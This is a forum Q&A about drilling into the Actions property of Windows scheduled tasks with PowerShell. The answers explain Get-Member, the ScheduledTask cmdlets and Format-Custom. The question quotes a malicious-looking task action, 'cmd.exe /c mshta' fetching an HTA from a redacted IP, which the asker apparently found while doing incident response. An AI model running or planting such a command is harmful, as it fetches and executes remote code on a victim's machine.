I'm trying hard to learn PowerShell on my own and I'm asking this question after searching a lot on the Internet.
Get-ScheduledTask | Get-Member
The above command shows me the Properties and Methods. Now I want to further drill down into "Actions" but the maximum I'm able to is,
Get-ScheduledTask | Get-Member -Name Actions
Name MemberType Definition
---- ---------- ----------
Actions Property CimInstance#InstanceArray Actions {get;set;}
Ideally, if I want to peek into "Actions" I have to do this,
Get-ScheduledTask -TaskName "WindowsShellUpdate" | Select -ExpandProperty Actions
Id :
Arguments : /c mshta http://xx.xx.xx.xx/win/update.hta
Execute : C:\Windows\System32\cmd.exe
WorkingDirectory :
PSComputerName :
Side note, I do IR. And I'm building a script to very carefully automate the removal of bad Tasks.
:(
CodePudding user response:
Actions is just a collection of another object extracted from WMI (CimInstance). When you define a Scheduled Task with PowerShell, you can in order:
- Define a Principal:
New-ScheduledTaskPrincipal - Define Task settings:
New-ScheduledTaskSettingsSet - Define some Triggers:
New-ScheduledTaskTrigger - Define some Actions:
New-ScheduledTaskAction
Then create a task with these parameters:
New-ScheduledTask
And finally register the task:
Register-ScheduledTask
There are some advanced properties that may be accessible, by example on triggers of a task that can only be set once the task is created.
(Get-ScheduledTask)[0].Triggers[0].Repetition.Duration and then once defined you update the task with Set-ScheduledTask
All these cmdlets just hide the complexity of WMI class instances.
CodePudding user response:
Get-Memberperforms reflection: its reports information about .NET types (classes) and their members (properties, methods, events, delegates) in the abstract.- This means that property values of the given instance of a type in the input are not included.
Also,
Get-Memberis not recursive: it only lists the member definitions of the type itself, not also the members' members.
As such, if the intent was to see the members of the elements of the collection of type CimInstance#InstanceArray contained in the .Actions property, use the command suggested by zett42:
# Get information about the type [of the elements] stored in the .Actions property.
(Get-ScheduledTask).Actions | Get-Member
Note:
Since sending a collection (array) through the pipeline enumerates it - i.e. sends its elements, one by one, providing a collection to
Get-Membervia the pipeline returns information about the distinct types of that collection's elements.To inspect a collection type itself, you must pass it to the
InputObjectparameter:# Get information about the *collection type* stored in the .Actions property. Get-Member -InputObject (Get-ScheduledTask).Actions
However, there is an - informal[1] - way to get a recursive representation of the structure of any given object instance, which even includes property values, namely via the Format-Custom cmdlet:
# See sample output below
Get-ScheduledTask | Select-Object -First 1 | Format-Custom
Note:
The recursion depth is limited to
5by default, but you can increase or decrease it via the-Depthparameter.- As you can see below, the output from a deeply nested object can be lengthy.
Collection property values are enumerated up to 4 elements by default, but you can change that via the
$FormatEnumerationLimitpreference variable - see this answer for details.
Output of the above command (excerpt):
class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_ScheduledTask
{
Actions =
[
class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_TaskExecAction
{
Id =
Arguments = --scheduledautoupdate $(Arg0)
Execute = C:\Users\jdoe\AppData\Local\Programs\Opera\launcher.exe
WorkingDirectory =
PSComputerName =
}
]
Author = MKW10\jdoe
Date =
Description = Keeps Opera up to date.
Documentation =
Principal =
class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_TaskPrincipal2
{
DisplayName =
GroupId =
Id = Author
LogonType = Interactive
RunLevel = Highest
UserId = jdoe
ProcessTokenSidType = Default
RequiredPrivilege =
PSComputerName =
}
...
[1] As with all Format-* cmdlets, Format-Custom outputs a rich string representation for the human observer, not for programmatic processing.
